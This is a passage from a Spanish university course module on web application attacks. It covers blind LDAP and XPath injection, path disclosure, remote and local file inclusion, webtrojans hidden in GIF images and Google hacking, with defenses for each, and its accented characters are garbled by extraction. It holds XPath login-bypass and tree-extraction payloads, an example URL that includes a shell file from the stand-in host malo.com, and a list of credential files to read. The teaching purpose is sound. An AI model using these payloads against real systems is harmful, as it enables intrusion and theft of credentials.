El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

